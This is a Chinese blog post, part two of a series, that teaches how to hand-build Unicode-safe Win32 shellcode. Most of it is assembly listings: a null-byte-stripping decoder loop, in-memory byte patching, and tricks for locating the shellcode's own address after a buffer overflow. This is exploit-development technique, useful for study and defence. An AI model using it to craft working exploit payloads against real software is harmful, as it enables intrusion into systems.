Coding art in shellcode（2）

行之 / 2018-04-03 15:23:58 /

前言

欢迎到来Coding art in shellcode的第二部分，上文中我们逐步分析了各指令的opcode，总结出了有用的部件，下面就来拼凑这些东西。

The Strategy

看起来几乎不可能用这么小的一组的opcode来组合获得一个可用的shellcode的opcode.....但不是！
有个想法如下：
给定一个可运行的shellcode，我们首先要做的就是摆脱每个字节之间的00。我们需要一个循环，所以让我们做一个循环，假设EAX指向我们的shellcode：

```
; eax points to our shellcode
; ebx is 0x00000000
; ecx is 0x00000500 (for example)

         label:
43                inc ebx
8A1458            mov byte dl,[eax+2*ebx]
881418            mov byte [eax+ebx],dl
E2F7              loop label
```

问题是这些不是Unicode。所以首先将其转化为Unicode:

```
43 8A 14 58 88 14 18 E2 F7
```

转变：

```
43 00 14 00 88 00 18 00 F7
```

然后，记住我们可以在EAX指向的位置写入数据这一条件，将00转换为其原始值将变得很简单。
我们只需这样做：

```
40                inc eax
40                inc eax
C60058            mov byte [eax],0x58
```

问题是这些还是不是Unicode.,像0x40这样的两个字节我们需要在其间插入0c00,，不过像是00这样的不合适，我们需要这样的结构00？？00才不会影响我们的工作：

```
add [ebp+0x0],al   (0x004500)
```

很好，这样我们可以得到：

```
40                inc eax
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
C60058            mov byte [eax],0x58

40 00 45 00 40 00 45 00 C6 00 58
```

没什么作用，但这是一个Unicode字符了。

在Loop之前，我们必须完成一些事情：
首先我们必须设置一个合适的计数器，我建议将ECX设置为0x0500，这样用来处理1280字节的shellcode（可随意更改）。

> 这很容易做，这要归功于我们刚刚思考的结果。
> 其次就是EBX = 0x00000000，这样循环才能正常工作。
>
> 这也很容易做到。
> 最后，我们必须让EAX指向我们的shellcode才能去掉null。
>
> 这个是一个比较烧脑的工作，我们稍后再提。

假设EAX指向我们的代码，我们可以构建header来清除接着代码的0x00（使用 add [ebp+0x0],al 来对齐null）。

设置EBX = 0x00000000，ECX = 0x00000500（近似大小的缓冲区）

```
6A00              push dword 0x00000000
6A00              push dword 0x00000000
5D                pop ebx
004500            add [ebp+0x0],al
59                pop ecx
004500            add [ebp+0x0],al
BA00050041        mov edx,0x41000500
00F5              add ch,dh
```

还原LOOP代码

```
43 00 14 00 88 00 18 00 F7
```

得还原成：

```
43 8A 14 58 88 14 18 E2 F7
```

所以我们来修补这4个字节，很简单：

```
mov byte [eax],0x8A
inc eax
inc eax
mov byte [eax],0x58
inc eax
inc eax
mov byte [eax],0x14
inc eax
```

还有一种办法可以让eax操作shellcode：

```
004500            add [ebp+0x0],al
C6008A            mov byte [eax],0x8A   ; 0x8A
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
C60058            mov byte [eax],0x58   ; 0x58
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
C60014            mov byte [eax],0x14   ; 0x14
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
C600E2            mov byte [eax],0xE2   ; 0xE2
004500            add [ebp+0x0],al
40                inc eax
004500            add [ebp+0x0],al
```

现在EAX寄存器指向Loop的结尾，也就是说eax指向了shellcode。

循环代码（塞满了null）

```
43                db 0x43
00                db 0x00      ; overwritten with 0x8A
14                db 0x14
00                db 0x00      ; overwritten with 0x58
88                db 0x88
00                db 0x00      ; overwritten with 0x14
18                db 0x18
00                db 0x00      ; overwritten with 0xE2
F7                db 0xF7
```

在这之后应该放置原始的可用shellcode。
让我们计算一下这些header的大小（当然null不计数）：

```
1st part : 10 bytes
2nd part : 27 bytes
3rd part :  5 bytes
Total : 42 bytes
```

我觉得这个大小很合适，因为制作一个远程Win32shellcode 大小为450字节左右比较合适。
所以，最后，我们完成了它：一个变成unicode编码的shellcode可以正常工作！
这是真的吗？ 当然没有，我们忘了一些东西。 之前我们假定EAX指向了循环的第一个空字节码。 接下来，我来说明一下这个。

Captain, we don't know our position

问题很简单：我们必须在内存上执行补丁才能使我们的Loop正常工作。 所以我们需要知道我们在内存中的位置。
在汇编程序中，执行此操作的简单方法是：

```
call label

         label:
pop eax
```

EAX中将获得标签的绝对地址。
在一个标准的shellcode中，我们需要调用一个较低的地址避免空字节：

```
jmp jump_label

         call_label:
pop eax
push eax
ret
         jump_label:
call call_label
                         ; ****
```

然后我们将会获得**的绝对地址.
但是在我们的例子中这样做是不可能的，别忘了我们不能使用jmp或者
。而且，我们无法解析内存来寻找任何类型的标签。我确定一定有办法这一解决这些问题，不过我只想到三种方法：

1st idea : we are lucky

如果我们运气足够好，我们可以期望有一些寄存器指向靠近我们恶意代码的地方。这个地方的地址不能被认为是经过编码的，因为如果进程内存从机器移动到另一个机器，它
我们知道我们可以添加任意的东西给eax（只有eax）所以我们可以这样做：
使用XCHG来获取EAX中地址的近似值然，后向EAX中添加一个值，使它移动到我们想要的地方,现在的问题是我们不能使用add al,r8或者ah,r8，别忘了：

```
EAX  = 0x000000FF + add al,1 = 0x00000000
```

根据EAX包含的内容，操作会做不同的事情。
因此，我们要进行的操作是：

```
add eax,0x??00??00
```

举个例子，我们要将0x1200加给EAX：

```
0500110001        add eax,0x01001100
05000100FF        add eax,0xFF000100
```

然后我们添加一些数据用来对齐，以便EAX指向我们想要的内容：
例如:

```
0400              add al,0x0
```

就很好用。
（N.B.：我们可能也需要一些inc EAX）
这种方法可能需要一些额外的空间（最大128字节，因为我们只能让EAX指向最近的地址mod
0x100，那么我们必须添加对齐字节，因为每个2字节实际上包含了1个缓冲字节，因为添加空字节，我们必须浪费0x100 / 2 = 128字节）

2nd idea : a little less lucky

如果没有寄存器指向就近的地址，你可以尝试在堆栈中找到一个。期望你的ESP在发生溢出后不会被破坏。
你只需要使用POP从栈中弹出你找的所需要的地址。 这种方法不能说是一种普遍的办法，但是堆栈内总是包含应用程序在被我们扰乱之前使用的地址。
请注意，您可以使用POPAD弹出EDI，ESI，EBP，EBX，EDX，ECX和EAX。
然后我们使用如上的办法。

3rd idea : god forgive me

这里我们假设我们没有任何有趣的寄存器，或者寄存器包含的值可以尝试转变。 而且，这个堆栈里面没有什么可用的东西。
这是一个绝望的情况，我最后的办法是：
取一个具有写入权限的"随机"地址
用3字节补丁
用一个相对位置的calll来调用它
第一步更加需要运气：我们需要在一个可写的区段内找到一个可用的地址，并且这个地址最好是在这个区段的末尾并完全是null或者是类似的东西，因为我们会随机调用。最

在这个例子中我们假设这个地址为0x004F1200:
显而易见，我们很容易让EAX指向这个地址：

```
B8004F00AA        mov eax,0xAA004F00        ; EAX = 0xAA004F00
50                push eax
4C                dec esp
58                pop eax                   ; EAX = 0x004F00??
B000              mov al,0x0                ; EAX = 0x004F0000
B9001200AA        mov ecx,0xAA001200
00EC              add ah,ch
                                  ; finally : EAX = 0x004F1200
```

然后我们修补一下这个可写的内存位置：

```
pop eax
push eax
ret
```

在我们调用这个地址之后，我们的EAX就可以指向我们的代码，麻烦的事情解决了。 所以我们来补充一下：
请记住，EAX包含我们正在修补的地址。 我们要做的是先用58 00 C3 00修补，然后将EAX先移1个字节，并将最后一个字节：0x50放在另外两个之间。
（N.B：不要忘记字节数据在堆栈中以相反的顺序被压入）

```
C7005800C300      mov dword [eax],0x00C30058
40                inc eax
C60050            mov byte [eax],0x50
```

完成修补。 现在我们要调用这个位置。 不，我说过我们不能使用类似call的指令，但这是一个绝望的情况，所以我们使用相对call：

```
E800??00!!        call (here + 0x!!00??00)
                                  (**)
```

为了使这种方法可行，在这个例子中你必须修补包含null的大内存部分的末端。然后我们可以调用该区域的任何地方，它将最终执行我们的3字节代码。
在这个调用之后，EAX的地址是（**），我们可以松一口气，因为现在我们只需要向EAX添加一个我们可以计算的值，因为它只是我们代码的两个偏移量之间的差异。还有，
所以我们不能使用{add eax，imm32}。那我们做点别的事吧：

```
add dword [eax], byte 0x??
```

是一个关键，这可以使我们添加一个字节到一个双字。
EAX指向（**），所以可以使用这个内存位置来设置新的EAX值并将其放回到EAX中。 我们假设我们想要添加0x？ 到eax：
（N.B：0x ??不能大于0x80，因为：

```
add dword [eax], byte 0x??
```

我们使用的是单字，所以如果你加入一个太大的值的话，反而会减少。

```
0400              ad al,0x0       ; the 0x04 will be overwritten
8900              mov [eax],eax
8300??            add dword [eax],byte 0x??
8B00              mov eax,[eax]
```

一切准备就绪，现在我们可以按照我们的意愿将EAX指向loop_code的第一个空字节。 我们只需要计算0x？？
（只需计算包括loop_code和call之间的空值在内的字节，你可以算出0x5A）.

Conclusion

最后，我们可以制作一个unishellcode，在一个字符转换之后不会被改变。我正在等待其他想法或技术来完成它，我确信还有有很多我没有想过的事情。

到这里应该清楚shellcode的转换是怎么一回事，接下来就是我实际的调试

上一篇：Coding art in she... 下一篇：Coding art in she...

1. 0 条回复
   - 动动手指，沙发就是你的了！